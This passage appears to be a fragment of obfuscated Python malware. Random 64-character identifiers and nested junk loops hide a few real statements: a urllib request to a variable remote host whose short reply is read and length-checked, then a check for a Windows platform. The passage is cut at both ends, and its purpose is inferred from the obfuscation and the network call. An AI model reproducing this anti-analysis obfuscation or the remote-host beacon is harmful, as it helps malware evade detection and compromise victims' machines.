        gdjFNYYaupOlurCZhykrOmjnskLmGfRLGIbJxPGOLsAKUtVwUsryDYtAJehrphQG = 'jthDkgvvDssengHeoOmgJCBlgqZdkvHMZUomElwkZvpeuQHdnTcAudfOmxjzFbLm'
        civAohdGKpEJAMhFmgvOqIRGvLCyCmzQZvCNyFAbmgysqrHWoxbKNXfYhmOIIwap = 'xLtYJgPJovbPJEgmqpLOxJLLowtqhMUUcsOzfsByUPZUFBgRpYAWolyxCrsQPFxp'
        if wbBBMBflmbwoVDFZgJfeKFekakdPRodztnQGSSALdSaNKpbKFTHDHjlAyYjrenGX == HatgOLqQYZZslvzZUlYaAukLPodCDmhSsFYslFEWYPCwjeRpJAOVsnQQrZBRTwwF:
            for HatgOLqQYZZslvzZUlYaAukLPodCDmhSsFYslFEWYPCwjeRpJAOVsnQQrZBRTwwF in wbBBMBflmbwoVDFZgJfeKFekakdPRodztnQGSSALdSaNKpbKFTHDHjlAyYjrenGX:
                if wbBBMBflmbwoVDFZgJfeKFekakdPRodztnQGSSALdSaNKpbKFTHDHjlAyYjrenGX == wbBBMBflmbwoVDFZgJfeKFekakdPRodztnQGSSALdSaNKpbKFTHDHjlAyYjrenGX:
                    gdjFNYYaupOlurCZhykrOmjnskLmGfRLGIbJxPGOLsAKUtVwUsryDYtAJehrphQG = 'civAohdGKpEJAMhFmgvOqIRGvLCyCmzQZvCNyFAbmgysqrHWoxbKNXfYhmOIIwap'
                elif gdjFNYYaupOlurCZhykrOmjnskLmGfRLGIbJxPGOLsAKUtVwUsryDYtAJehrphQG == civAohdGKpEJAMhFmgvOqIRGvLCyCmzQZvCNyFAbmgysqrHWoxbKNXfYhmOIIwap:
                    civAohdGKpEJAMhFmgvOqIRGvLCyCmzQZvCNyFAbmgysqrHWoxbKNXfYhmOIIwap = HatgOLqQYZZslvzZUlYaAukLPodCDmhSsFYslFEWYPCwjeRpJAOVsnQQrZBRTwwF
                else:
                    HatgOLqQYZZslvzZUlYaAukLPodCDmhSsFYslFEWYPCwjeRpJAOVsnQQrZBRTwwF = wbBBMBflmbwoVDFZgJfeKFekakdPRodztnQGSSALdSaNKpbKFTHDHjlAyYjrenGX
        elif gdjFNYYaupOlurCZhykrOmjnskLmGfRLGIbJxPGOLsAKUtVwUsryDYtAJehrphQG == gdjFNYYaupOlurCZhykrOmjnskLmGfRLGIbJxPGOLsAKUtVwUsryDYtAJehrphQG:
            for gdjFNYYaupOlurCZhykrOmjnskLmGfRLGIbJxPGOLsAKUtVwUsryDYtAJehrphQG in wbBBMBflmbwoVDFZgJfeKFekakdPRodztnQGSSALdSaNKpbKFTHDHjlAyYjrenGX:
                if civAohdGKpEJAMhFmgvOqIRGvLCyCmzQZvCNyFAbmgysqrHWoxbKNXfYhmOIIwap == wbBBMBflmbwoVDFZgJfeKFekakdPRodztnQGSSALdSaNKpbKFTHDHjlAyYjrenGX:
                    gdjFNYYaupOlurCZhykrOmjnskLmGfRLGIbJxPGOLsAKUtVwUsryDYtAJehrphQG = 'civAohdGKpEJAMhFmgvOqIRGvLCyCmzQZvCNyFAbmgysqrHWoxbKNXfYhmOIIwap'
                elif gdjFNYYaupOlurCZhykrOmjnskLmGfRLGIbJxPGOLsAKUtVwUsryDYtAJehrphQG == civAohdGKpEJAMhFmgvOqIRGvLCyCmzQZvCNyFAbmgysqrHWoxbKNXfYhmOIIwap:
                    civAohdGKpEJAMhFmgvOqIRGvLCyCmzQZvCNyFAbmgysqrHWoxbKNXfYhmOIIwap = HatgOLqQYZZslvzZUlYaAukLPodCDmhSsFYslFEWYPCwjeRpJAOVsnQQrZBRTwwF
                else:
                    HatgOLqQYZZslvzZUlYaAukLPodCDmhSsFYslFEWYPCwjeRpJAOVsnQQrZBRTwwF = wbBBMBflmbwoVDFZgJfeKFekakdPRodztnQGSSALdSaNKpbKFTHDHjlAyYjrenGX
                    for gdjFNYYaupOlurCZhykrOmjnskLmGfRLGIbJxPGOLsAKUtVwUsryDYtAJehrphQG in wbBBMBflmbwoVDFZgJfeKFekakdPRodztnQGSSALdSaNKpbKFTHDHjlAyYjrenGX:
                        if civAohdGKpEJAMhFmgvOqIRGvLCyCmzQZvCNyFAbmgysqrHWoxbKNXfYhmOIIwap == wbBBMBflmbwoVDFZgJfeKFekakdPRodztnQGSSALdSaNKpbKFTHDHjlAyYjrenGX:
                            gdjFNYYaupOlurCZhykrOmjnskLmGfRLGIbJxPGOLsAKUtVwUsryDYtAJehrphQG = 'civAohdGKpEJAMhFmgvOqIRGvLCyCmzQZvCNyFAbmgysqrHWoxbKNXfYhmOIIwap'
                        elif gdjFNYYaupOlurCZhykrOmjnskLmGfRLGIbJxPGOLsAKUtVwUsryDYtAJehrphQG == civAohdGKpEJAMhFmgvOqIRGvLCyCmzQZvCNyFAbmgysqrHWoxbKNXfYhmOIIwap:
                            civAohdGKpEJAMhFmgvOqIRGvLCyCmzQZvCNyFAbmgysqrHWoxbKNXfYhmOIIwap = HatgOLqQYZZslvzZUlYaAukLPodCDmhSsFYslFEWYPCwjeRpJAOVsnQQrZBRTwwF
                        else:
                            HatgOLqQYZZslvzZUlYaAukLPodCDmhSsFYslFEWYPCwjeRpJAOVsnQQrZBRTwwF = civAohdGKpEJAMhFmgvOqIRGvLCyCmzQZvCNyFAbmgysqrHWoxbKNXfYhmOIIwap
        else:
            HatgOLqQYZZslvzZUlYaAukLPodCDmhSsFYslFEWYPCwjeRpJAOVsnQQrZBRTwwF = wbBBMBflmbwoVDFZgJfeKFekakdPRodztnQGSSALdSaNKpbKFTHDHjlAyYjrenGX
        try:
            xDnCnKrbaENPaigQbXbAsAZQgHymVhwrqvoSrQrVAfNtQzyGLEpIldXOzolzKYYY = 'gFZqySUSCcjacuiQCzvrmntsWaKVXkYTyqRTQcAJPORLzctKmzUpsigMMQQBDCZK'
            GVIEpcpXpePYMWRvmYVHjXNBSFJujFcOgxIHmldzlMCBeOuyjMYDyXGURLtWURGb = 'pdfojowphBGgHeiNeNRfqbwRqzrCzxMfPJgNdlSChpMnhicrszrPGHDffAZAmvFJ'
            iEDuhNepAyFJBQMYGNTKHsMOcGWcILOpmXtocUerygdYNKjUaDXKNcTtCfkBiuMp = 'DRzNqReGMthpUvNKdoqtRAgSuOBuVPtmuwRZdQRvDVlPEJwRpReLSxqGXtXlvShB'
            BBfOFeNsAxlqpnEAQUonJYtWPToTMwAoCDUdPNjNMeTKjlZLyjKzlmJAzMHciMuM = 'VucPNJilalcNgZAycOuBABzevnBILkRVcRsnprFtMqwcAwwzSavNvPMjAjeQjSwI'
            MbVxqdKRTwnyUFHfcwlpIDOhOygyUdLuIKYZXAjXVrErHpYJqcFMqhdUMQElYbgK = 'xLatilBYFPZkzNTpjZQNedvwXXkFvqXluNfFlvHFVSZSEkvKRJikTsNDDImineZV'
            FgfSBHZgkPyNUTAyAFpwKRQCOpUugUZXGPgUlDoWvpBAcoJyCMjhYAJMHOEACKlS = 'EKkrBIciOrkFiVBwKQQBThvsjIOJXayfoFmLUTrGkmvPFXJpaSfmxtlaLYKwZbSH'
            TvdMkEYrnAtmHkfWhKVPIaHTxCTPPiWhJzzgAqUwsGsdLcVtJpxwIIkpCnYWkocq = [
                'gFZqySUSCcjacuiQCzvrmntsWaKVXkYTyqRTQcAJPORLzctKmzUpsigMMQQBDCZK',
                'DRzNqReGMthpUvNKdoqtRAgSuOBuVPtmuwRZdQRvDVlPEJwRpReLSxqGXtXlvShB',
                'xLatilBYFPZkzNTpjZQNedvwXXkFvqXluNfFlvHFVSZSEkvKRJikTsNDDImineZV',
                'VeeaVaTOvQEtivsIMKhxFfQnadAbYTBNRiooUvDMnjeCXVBzpjXZIkQOKUURCyhG'
            ]
            for xDnCnKrbaENPaigQbXbAsAZQgHymVhwrqvoSrQrVAfNtQzyGLEpIldXOzolzKYYY in FgfSBHZgkPyNUTAyAFpwKRQCOpUugUZXGPgUlDoWvpBAcoJyCMjhYAJMHOEACKlS:
                for GVIEpcpXpePYMWRvmYVHjXNBSFJujFcOgxIHmldzlMCBeOuyjMYDyXGURLtWURGb in iEDuhNepAyFJBQMYGNTKHsMOcGWcILOpmXtocUerygdYNKjUaDXKNcTtCfkBiuMp:
                    if BBfOFeNsAxlqpnEAQUonJYtWPToTMwAoCDUdPNjNMeTKjlZLyjKzlmJAzMHciMuM == MbVxqdKRTwnyUFHfcwlpIDOhOygyUdLuIKYZXAjXVrErHpYJqcFMqhdUMQElYbgK:
                        GVIEpcpXpePYMWRvmYVHjXNBSFJujFcOgxIHmldzlMCBeOuyjMYDyXGURLtWURGb = xDnCnKrbaENPaigQbXbAsAZQgHymVhwrqvoSrQrVAfNtQzyGLEpIldXOzolzKYYY
                    elif MbVxqdKRTwnyUFHfcwlpIDOhOygyUdLuIKYZXAjXVrErHpYJqcFMqhdUMQElYbgK == GVIEpcpXpePYMWRvmYVHjXNBSFJujFcOgxIHmldzlMCBeOuyjMYDyXGURLtWURGb:
                        GVIEpcpXpePYMWRvmYVHjXNBSFJujFcOgxIHmldzlMCBeOuyjMYDyXGURLtWURGb = FgfSBHZgkPyNUTAyAFpwKRQCOpUugUZXGPgUlDoWvpBAcoJyCMjhYAJMHOEACKlS
                    else:
                        MbVxqdKRTwnyUFHfcwlpIDOhOygyUdLuIKYZXAjXVrErHpYJqcFMqhdUMQElYbgK = FgfSBHZgkPyNUTAyAFpwKRQCOpUugUZXGPgUlDoWvpBAcoJyCMjhYAJMHOEACKlS
                        for GVIEpcpXpePYMWRvmYVHjXNBSFJujFcOgxIHmldzlMCBeOuyjMYDyXGURLtWURGb in TvdMkEYrnAtmHkfWhKVPIaHTxCTPPiWhJzzgAqUwsGsdLcVtJpxwIIkpCnYWkocq:
                            iEDuhNepAyFJBQMYGNTKHsMOcGWcILOpmXtocUerygdYNKjUaDXKNcTtCfkBiuMp = GVIEpcpXpePYMWRvmYVHjXNBSFJujFcOgxIHmldzlMCBeOuyjMYDyXGURLtWURGb
            cexOUdQPUDJlZxbuzLZYaBYExKcMEXPmdwWhOaNNcOEBPvRegqTSleeALLEpyhRi = urllib.urlopen(
                'http://' +
                bDVfKcGTNKDDgGMMCmHdLopeaFuvewAnGankZNCojDNPJHCBDTTJiulhiTJNHtps
            ).read().rstrip()
        except IOError:
            yeJHmhfohwvTaBxXOayJZiumptliaOUmtVmLGsljrlDiPvFfIHBRfSuKJqGEYkPK = 'JnXXAzClqIXtWDqLarCUwdbCnHuNDoAJIpklljTllKaOhprPJWHmgjrJSCdqWdbP'
            KRuDiiIwMyzMfhfohkENmvygOQclEOKMdDTIQDjQFIYWKiTjdjFXiJucslnnOPqk = 'BEOWpCNELZQQrHqqLgGzoGHcLAZtpWyXWZsTDggzGpVgYgRjCUzybKrLiWddYBXp'
            qCXvGnZnvZjFaYYygFGzkIUoPbSsBvJqINCiFnqzpfCwFuNjvjdssoRMCbykCrHV = 'QDoDHepQySHdMHgdSZLLqExsWVoBmGDPTVZRjZblxXvxGIaWiViZRLQaAyuRBgac'
            ybUTXGaOpzMgxtHrQnlkSzDKNnJmjKadCgRaWwwaStBIBDTDJMskbOFediyrNtep = 'tivKItIrqkRXKlNyNNthNyxFlUSFVkPYPyNxEmJTPbNGyJBhOLeZIvJzayyMVdxp'
            if KRuDiiIwMyzMfhfohkENmvygOQclEOKMdDTIQDjQFIYWKiTjdjFXiJucslnnOPqk == yeJHmhfohwvTaBxXOayJZiumptliaOUmtVmLGsljrlDiPvFfIHBRfSuKJqGEYkPK:
                for yeJHmhfohwvTaBxXOayJZiumptliaOUmtVmLGsljrlDiPvFfIHBRfSuKJqGEYkPK in KRuDiiIwMyzMfhfohkENmvygOQclEOKMdDTIQDjQFIYWKiTjdjFXiJucslnnOPqk:
                    if KRuDiiIwMyzMfhfohkENmvygOQclEOKMdDTIQDjQFIYWKiTjdjFXiJucslnnOPqk == KRuDiiIwMyzMfhfohkENmvygOQclEOKMdDTIQDjQFIYWKiTjdjFXiJucslnnOPqk:
                        qCXvGnZnvZjFaYYygFGzkIUoPbSsBvJqINCiFnqzpfCwFuNjvjdssoRMCbykCrHV = 'ybUTXGaOpzMgxtHrQnlkSzDKNnJmjKadCgRaWwwaStBIBDTDJMskbOFediyrNtep'
                    elif qCXvGnZnvZjFaYYygFGzkIUoPbSsBvJqINCiFnqzpfCwFuNjvjdssoRMCbykCrHV == ybUTXGaOpzMgxtHrQnlkSzDKNnJmjKadCgRaWwwaStBIBDTDJMskbOFediyrNtep:
                        ybUTXGaOpzMgxtHrQnlkSzDKNnJmjKadCgRaWwwaStBIBDTDJMskbOFediyrNtep = yeJHmhfohwvTaBxXOayJZiumptliaOUmtVmLGsljrlDiPvFfIHBRfSuKJqGEYkPK
                    else:
                        yeJHmhfohwvTaBxXOayJZiumptliaOUmtVmLGsljrlDiPvFfIHBRfSuKJqGEYkPK = KRuDiiIwMyzMfhfohkENmvygOQclEOKMdDTIQDjQFIYWKiTjdjFXiJucslnnOPqk
            elif qCXvGnZnvZjFaYYygFGzkIUoPbSsBvJqINCiFnqzpfCwFuNjvjdssoRMCbykCrHV == qCXvGnZnvZjFaYYygFGzkIUoPbSsBvJqINCiFnqzpfCwFuNjvjdssoRMCbykCrHV:
                for qCXvGnZnvZjFaYYygFGzkIUoPbSsBvJqINCiFnqzpfCwFuNjvjdssoRMCbykCrHV in KRuDiiIwMyzMfhfohkENmvygOQclEOKMdDTIQDjQFIYWKiTjdjFXiJucslnnOPqk:
                    if ybUTXGaOpzMgxtHrQnlkSzDKNnJmjKadCgRaWwwaStBIBDTDJMskbOFediyrNtep == KRuDiiIwMyzMfhfohkENmvygOQclEOKMdDTIQDjQFIYWKiTjdjFXiJucslnnOPqk:
                        qCXvGnZnvZjFaYYygFGzkIUoPbSsBvJqINCiFnqzpfCwFuNjvjdssoRMCbykCrHV = 'ybUTXGaOpzMgxtHrQnlkSzDKNnJmjKadCgRaWwwaStBIBDTDJMskbOFediyrNtep'
                    elif qCXvGnZnvZjFaYYygFGzkIUoPbSsBvJqINCiFnqzpfCwFuNjvjdssoRMCbykCrHV == ybUTXGaOpzMgxtHrQnlkSzDKNnJmjKadCgRaWwwaStBIBDTDJMskbOFediyrNtep:
                        ybUTXGaOpzMgxtHrQnlkSzDKNnJmjKadCgRaWwwaStBIBDTDJMskbOFediyrNtep = yeJHmhfohwvTaBxXOayJZiumptliaOUmtVmLGsljrlDiPvFfIHBRfSuKJqGEYkPK
                    else:
                        yeJHmhfohwvTaBxXOayJZiumptliaOUmtVmLGsljrlDiPvFfIHBRfSuKJqGEYkPK = KRuDiiIwMyzMfhfohkENmvygOQclEOKMdDTIQDjQFIYWKiTjdjFXiJucslnnOPqk
                        for qCXvGnZnvZjFaYYygFGzkIUoPbSsBvJqINCiFnqzpfCwFuNjvjdssoRMCbykCrHV in KRuDiiIwMyzMfhfohkENmvygOQclEOKMdDTIQDjQFIYWKiTjdjFXiJucslnnOPqk:
                            if ybUTXGaOpzMgxtHrQnlkSzDKNnJmjKadCgRaWwwaStBIBDTDJMskbOFediyrNtep == KRuDiiIwMyzMfhfohkENmvygOQclEOKMdDTIQDjQFIYWKiTjdjFXiJucslnnOPqk:
                                qCXvGnZnvZjFaYYygFGzkIUoPbSsBvJqINCiFnqzpfCwFuNjvjdssoRMCbykCrHV = 'ybUTXGaOpzMgxtHrQnlkSzDKNnJmjKadCgRaWwwaStBIBDTDJMskbOFediyrNtep'
                            elif qCXvGnZnvZjFaYYygFGzkIUoPbSsBvJqINCiFnqzpfCwFuNjvjdssoRMCbykCrHV == ybUTXGaOpzMgxtHrQnlkSzDKNnJmjKadCgRaWwwaStBIBDTDJMskbOFediyrNtep:
                                ybUTXGaOpzMgxtHrQnlkSzDKNnJmjKadCgRaWwwaStBIBDTDJMskbOFediyrNtep = yeJHmhfohwvTaBxXOayJZiumptliaOUmtVmLGsljrlDiPvFfIHBRfSuKJqGEYkPK
                            else:
                                yeJHmhfohwvTaBxXOayJZiumptliaOUmtVmLGsljrlDiPvFfIHBRfSuKJqGEYkPK = ybUTXGaOpzMgxtHrQnlkSzDKNnJmjKadCgRaWwwaStBIBDTDJMskbOFediyrNtep
            else:
                yeJHmhfohwvTaBxXOayJZiumptliaOUmtVmLGsljrlDiPvFfIHBRfSuKJqGEYkPK = KRuDiiIwMyzMfhfohkENmvygOQclEOKMdDTIQDjQFIYWKiTjdjFXiJucslnnOPqk
            pass
            wYCRkNnPLoVHIrANsHtYHiSsxioDExsXYaSBITGSYoBmoCqCnthtNpGfTWzvnNav = 'ClTxgnzDjAUMZEjLJxhmCINbmskwRMzscHEaDHGcBKKHlvYXikoQzEfAGsDbKHJr'
        if cexOUdQPUDJlZxbuzLZYaBYExKcMEXPmdwWhOaNNcOEBPvRegqTSleeALLEpyhRi and (
                6 <
                len(cexOUdQPUDJlZxbuzLZYaBYExKcMEXPmdwWhOaNNcOEBPvRegqTSleeALLEpyhRi
                    ) < 16):
            OyrDkQvkZszMMxthGgdbcDWTWKqYZnHommnpwcPGACrkqNxMDhkVESbPZpfqBhtk = 'QyaenbQjAHwcdXwPOqpUfXywVzIBRVsoSnorkJrQHmcpWBGRyXnOnOvVJjjhDira'
            hIQAZxciygJpRzuyaizNVYqXTbQkcvzTevfZHPXDJqiSSKdNWegKfoOoRsncEquu = 'qtbTReKoLowNeZdwlSSFreSQYLgsABTFLZzHfuPRLCcXxCahKyEnjvlhGIDgvgQD'
            rkgAHDhtkhDrYTIiIAdFcAikeuCeMVcWtQvVPngQdYAamIqikhCZPUIiJjuOJDkf = 'qWfgTFkieMjmYvNqgxNXCUVELKDfJuqjXZwZLvpKbQgzkkeLNLQNwSjVUKXAFyFv'
            YteJsfEfInFnxPxJAwtksUzrUZNwtAmxwzRzxFRJtRoYGaXtcQHCcRdYDtfRHTAI = 'SnXLSJWMawMuBqPOnRkfbCBZeUpplBxZGBSNgOYRgqVWkVDZUKZdKeUFvKaOpFCc'
            if hIQAZxciygJpRzuyaizNVYqXTbQkcvzTevfZHPXDJqiSSKdNWegKfoOoRsncEquu == OyrDkQvkZszMMxthGgdbcDWTWKqYZnHommnpwcPGACrkqNxMDhkVESbPZpfqBhtk:
                for OyrDkQvkZszMMxthGgdbcDWTWKqYZnHommnpwcPGACrkqNxMDhkVESbPZpfqBhtk in hIQAZxciygJpRzuyaizNVYqXTbQkcvzTevfZHPXDJqiSSKdNWegKfoOoRsncEquu:
                    if hIQAZxciygJpRzuyaizNVYqXTbQkcvzTevfZHPXDJqiSSKdNWegKfoOoRsncEquu == hIQAZxciygJpRzuyaizNVYqXTbQkcvzTevfZHPXDJqiSSKdNWegKfoOoRsncEquu:
                        rkgAHDhtkhDrYTIiIAdFcAikeuCeMVcWtQvVPngQdYAamIqikhCZPUIiJjuOJDkf = 'YteJsfEfInFnxPxJAwtksUzrUZNwtAmxwzRzxFRJtRoYGaXtcQHCcRdYDtfRHTAI'
                    elif rkgAHDhtkhDrYTIiIAdFcAikeuCeMVcWtQvVPngQdYAamIqikhCZPUIiJjuOJDkf == YteJsfEfInFnxPxJAwtksUzrUZNwtAmxwzRzxFRJtRoYGaXtcQHCcRdYDtfRHTAI:
                        YteJsfEfInFnxPxJAwtksUzrUZNwtAmxwzRzxFRJtRoYGaXtcQHCcRdYDtfRHTAI = OyrDkQvkZszMMxthGgdbcDWTWKqYZnHommnpwcPGACrkqNxMDhkVESbPZpfqBhtk
                    else:
                        OyrDkQvkZszMMxthGgdbcDWTWKqYZnHommnpwcPGACrkqNxMDhkVESbPZpfqBhtk = hIQAZxciygJpRzuyaizNVYqXTbQkcvzTevfZHPXDJqiSSKdNWegKfoOoRsncEquu
            elif rkgAHDhtkhDrYTIiIAdFcAikeuCeMVcWtQvVPngQdYAamIqikhCZPUIiJjuOJDkf == rkgAHDhtkhDrYTIiIAdFcAikeuCeMVcWtQvVPngQdYAamIqikhCZPUIiJjuOJDkf:
                for rkgAHDhtkhDrYTIiIAdFcAikeuCeMVcWtQvVPngQdYAamIqikhCZPUIiJjuOJDkf in hIQAZxciygJpRzuyaizNVYqXTbQkcvzTevfZHPXDJqiSSKdNWegKfoOoRsncEquu:
                    if YteJsfEfInFnxPxJAwtksUzrUZNwtAmxwzRzxFRJtRoYGaXtcQHCcRdYDtfRHTAI == hIQAZxciygJpRzuyaizNVYqXTbQkcvzTevfZHPXDJqiSSKdNWegKfoOoRsncEquu:
                        rkgAHDhtkhDrYTIiIAdFcAikeuCeMVcWtQvVPngQdYAamIqikhCZPUIiJjuOJDkf = 'YteJsfEfInFnxPxJAwtksUzrUZNwtAmxwzRzxFRJtRoYGaXtcQHCcRdYDtfRHTAI'
                    elif rkgAHDhtkhDrYTIiIAdFcAikeuCeMVcWtQvVPngQdYAamIqikhCZPUIiJjuOJDkf == YteJsfEfInFnxPxJAwtksUzrUZNwtAmxwzRzxFRJtRoYGaXtcQHCcRdYDtfRHTAI:
                        YteJsfEfInFnxPxJAwtksUzrUZNwtAmxwzRzxFRJtRoYGaXtcQHCcRdYDtfRHTAI = OyrDkQvkZszMMxthGgdbcDWTWKqYZnHommnpwcPGACrkqNxMDhkVESbPZpfqBhtk
                    else:
                        OyrDkQvkZszMMxthGgdbcDWTWKqYZnHommnpwcPGACrkqNxMDhkVESbPZpfqBhtk = hIQAZxciygJpRzuyaizNVYqXTbQkcvzTevfZHPXDJqiSSKdNWegKfoOoRsncEquu
                        for rkgAHDhtkhDrYTIiIAdFcAikeuCeMVcWtQvVPngQdYAamIqikhCZPUIiJjuOJDkf in hIQAZxciygJpRzuyaizNVYqXTbQkcvzTevfZHPXDJqiSSKdNWegKfoOoRsncEquu:
                            if YteJsfEfInFnxPxJAwtksUzrUZNwtAmxwzRzxFRJtRoYGaXtcQHCcRdYDtfRHTAI == hIQAZxciygJpRzuyaizNVYqXTbQkcvzTevfZHPXDJqiSSKdNWegKfoOoRsncEquu:
                                rkgAHDhtkhDrYTIiIAdFcAikeuCeMVcWtQvVPngQdYAamIqikhCZPUIiJjuOJDkf = 'YteJsfEfInFnxPxJAwtksUzrUZNwtAmxwzRzxFRJtRoYGaXtcQHCcRdYDtfRHTAI'
                            elif rkgAHDhtkhDrYTIiIAdFcAikeuCeMVcWtQvVPngQdYAamIqikhCZPUIiJjuOJDkf == YteJsfEfInFnxPxJAwtksUzrUZNwtAmxwzRzxFRJtRoYGaXtcQHCcRdYDtfRHTAI:
                                YteJsfEfInFnxPxJAwtksUzrUZNwtAmxwzRzxFRJtRoYGaXtcQHCcRdYDtfRHTAI = OyrDkQvkZszMMxthGgdbcDWTWKqYZnHommnpwcPGACrkqNxMDhkVESbPZpfqBhtk
                            else:
                                OyrDkQvkZszMMxthGgdbcDWTWKqYZnHommnpwcPGACrkqNxMDhkVESbPZpfqBhtk = YteJsfEfInFnxPxJAwtksUzrUZNwtAmxwzRzxFRJtRoYGaXtcQHCcRdYDtfRHTAI
            else:
                OyrDkQvkZszMMxthGgdbcDWTWKqYZnHommnpwcPGACrkqNxMDhkVESbPZpfqBhtk = hIQAZxciygJpRzuyaizNVYqXTbQkcvzTevfZHPXDJqiSSKdNWegKfoOoRsncEquu
            break
            maBSUEgVOwPLtnTSwhjfKQXtXMyLWmjugPUcRZEWXUotorRipTWDRyiEptxPfUlk = 'nSlwNfwkiMkopnAGrREQhXHNAThDKtbpEbsUZUjVTpLXsJeTahUDrcwjDQLQtqLp'
            pMHXhnprFDjNDItYGDHiPeBuObhWPsAVNmVqaCgpvqtohSynkdwcrwbbchOjToHG = 'CEQsnpXwUaUFhdDYRHkKiLXTJsAlnRAaZRtJNFBTQNMvgNJOgeiESacMUkhsqxAD'
            MXretygRgbYRWbfabIpmaZlvgtEScJdUUboOFSyWhEuwTFrGdxiqNSblyziKqqKa = 'PqYBzoCCOqgqhrXiOYTwYlSmrzcWSeUrEsHYZvLLeKLXRGCjdNEangjiuIQcWANg'
            XqbIEjPItfPPBAOTKMBGJxtlErjCWMhQmSEpaWXoQloHgASubjwQRLLDisQIbJVs = 'WqEYcdxLjlBISFmaXORwTONTiGKWXAiILeYTQkgIczXSHgiqfhuDwAahnFBvrklf'
            yrdnosLxxBPokGbfowTqUOcUElyuNyXUiRBDmoVOdxJDOFhXjeBgvQBPubjxohdF = 'uXwcpAihNMFWxbnAnQJSzjzAAvAktFuGlhAaBEXSbMDkYzWtpYWLZhIqhJRwljGH'
            HMtKHDcfeTdpgsVOPZCZhUceLmROqMOiNTibKymyCBzFrvGnXUoBqCoqvagIWHdQ = 'hxdZMHRhHYLxqlUtaFEpwZsohsXPRMeOgNnUWBqyOotYiBfDsDKOWSZahximWifG'
            AWKcrZkRqzcCPegqwkXVCzBVHgpccJaIKiPUovLYpGEikNvTixMuShLAZPVIECRc = [
                'nSlwNfwkiMkopnAGrREQhXHNAThDKtbpEbsUZUjVTpLXsJeTahUDrcwjDQLQtqLp',
                'PqYBzoCCOqgqhrXiOYTwYlSmrzcWSeUrEsHYZvLLeKLXRGCjdNEangjiuIQcWANg',
                'uXwcpAihNMFWxbnAnQJSzjzAAvAktFuGlhAaBEXSbMDkYzWtpYWLZhIqhJRwljGH',
                'cEsJolKvWEIIshLqbjjAOvWSTKOFRrfkRPyHkaqrUofrdehAWdiCWWhfMQmtFTwR'
            ]
            for maBSUEgVOwPLtnTSwhjfKQXtXMyLWmjugPUcRZEWXUotorRipTWDRyiEptxPfUlk in HMtKHDcfeTdpgsVOPZCZhUceLmROqMOiNTibKymyCBzFrvGnXUoBqCoqvagIWHdQ:
                for pMHXhnprFDjNDItYGDHiPeBuObhWPsAVNmVqaCgpvqtohSynkdwcrwbbchOjToHG in MXretygRgbYRWbfabIpmaZlvgtEScJdUUboOFSyWhEuwTFrGdxiqNSblyziKqqKa:
                    if XqbIEjPItfPPBAOTKMBGJxtlErjCWMhQmSEpaWXoQloHgASubjwQRLLDisQIbJVs == yrdnosLxxBPokGbfowTqUOcUElyuNyXUiRBDmoVOdxJDOFhXjeBgvQBPubjxohdF:
                        pMHXhnprFDjNDItYGDHiPeBuObhWPsAVNmVqaCgpvqtohSynkdwcrwbbchOjToHG = maBSUEgVOwPLtnTSwhjfKQXtXMyLWmjugPUcRZEWXUotorRipTWDRyiEptxPfUlk
                    elif yrdnosLxxBPokGbfowTqUOcUElyuNyXUiRBDmoVOdxJDOFhXjeBgvQBPubjxohdF == pMHXhnprFDjNDItYGDHiPeBuObhWPsAVNmVqaCgpvqtohSynkdwcrwbbchOjToHG:
                        pMHXhnprFDjNDItYGDHiPeBuObhWPsAVNmVqaCgpvqtohSynkdwcrwbbchOjToHG = HMtKHDcfeTdpgsVOPZCZhUceLmROqMOiNTibKymyCBzFrvGnXUoBqCoqvagIWHdQ
                    else:
                        yrdnosLxxBPokGbfowTqUOcUElyuNyXUiRBDmoVOdxJDOFhXjeBgvQBPubjxohdF = HMtKHDcfeTdpgsVOPZCZhUceLmROqMOiNTibKymyCBzFrvGnXUoBqCoqvagIWHdQ
                        for pMHXhnprFDjNDItYGDHiPeBuObhWPsAVNmVqaCgpvqtohSynkdwcrwbbchOjToHG in AWKcrZkRqzcCPegqwkXVCzBVHgpccJaIKiPUovLYpGEikNvTixMuShLAZPVIECRc:
                            MXretygRgbYRWbfabIpmaZlvgtEScJdUUboOFSyWhEuwTFrGdxiqNSblyziKqqKa = pMHXhnprFDjNDItYGDHiPeBuObhWPsAVNmVqaCgpvqtohSynkdwcrwbbchOjToHG
    YREuNaWVULVoCcGIiIedlhBzozSbUIQDiKIsnOldqSlNozSOjBIkZJochVBMKiAH = False
    fWAByTgOnZKUDRDxVasbGtlvGEstSeShfKcxNPNVUqTcoTjvEGdAuYBvgdvSWwud = 'PlXYzEWQUqnliyflAgQQOBsaMtBOOnzFsYxucvrNaAbljPqaTjThLBMtltZUnStl'
    bWlFQdvjfmRNrflpxZIMbBzPWQBFYniEjxwhMxEFYTbFvUZwImCuzMfOyNpvWplS = 'ydMaoTjzZwQoyftWCyZdkkAJugOeVnyKFSKayifbZuqIDRbLRSUDKYMExsNdOMpz'
    if fWAByTgOnZKUDRDxVasbGtlvGEstSeShfKcxNPNVUqTcoTjvEGdAuYBvgdvSWwud != bWlFQdvjfmRNrflpxZIMbBzPWQBFYniEjxwhMxEFYTbFvUZwImCuzMfOyNpvWplS:
        fWAByTgOnZKUDRDxVasbGtlvGEstSeShfKcxNPNVUqTcoTjvEGdAuYBvgdvSWwud = 'ydMaoTjzZwQoyftWCyZdkkAJugOeVnyKFSKayifbZuqIDRbLRSUDKYMExsNdOMpz'
        bWlFQdvjfmRNrflpxZIMbBzPWQBFYniEjxwhMxEFYTbFvUZwImCuzMfOyNpvWplS = fWAByTgOnZKUDRDxVasbGtlvGEstSeShfKcxNPNVUqTcoTjvEGdAuYBvgdvSWwud
        fWAByTgOnZKUDRDxVasbGtlvGEstSeShfKcxNPNVUqTcoTjvEGdAuYBvgdvSWwud = 'PlXYzEWQUqnliyflAgQQOBsaMtBOOnzFsYxucvrNaAbljPqaTjThLBMtltZUnStl'
    if plat_type.startswith('win'):
        TlZacMIOQWBHRnqVVsEiICPmofJPGQaHTcdCMuhPKbSTfpMQNPOogHiiDsrGFQnr = 'CAoGLowJSuNRwrdVJHfSHbRJMJIPzInhXIWmvexMvNRRIQbSnjiTIkEZbNPPxUGn'
        YroqUhSDLxCvtsPggWwGJMpUcbPisetDuMpuDQHcHGohnHQnUkSvFcxkfNYnguse = 'LKtnCcQMDGZppAStuiNfVOeexJqwpFxWWvUxLFacInbbFtwQoreyHKxUReuobJSt'
        KvgkFJymjPAkOAdbVVrAAnIgWqMnuRQPMPxxXLbuqeYJiEZaxjjRnXAHfBbowmUT = 'tyMsCBRyniwFhcTRUdvdOgnlpenGauKwyyelPyvTLINrpHkabzmSqFiweRMvGUvT'
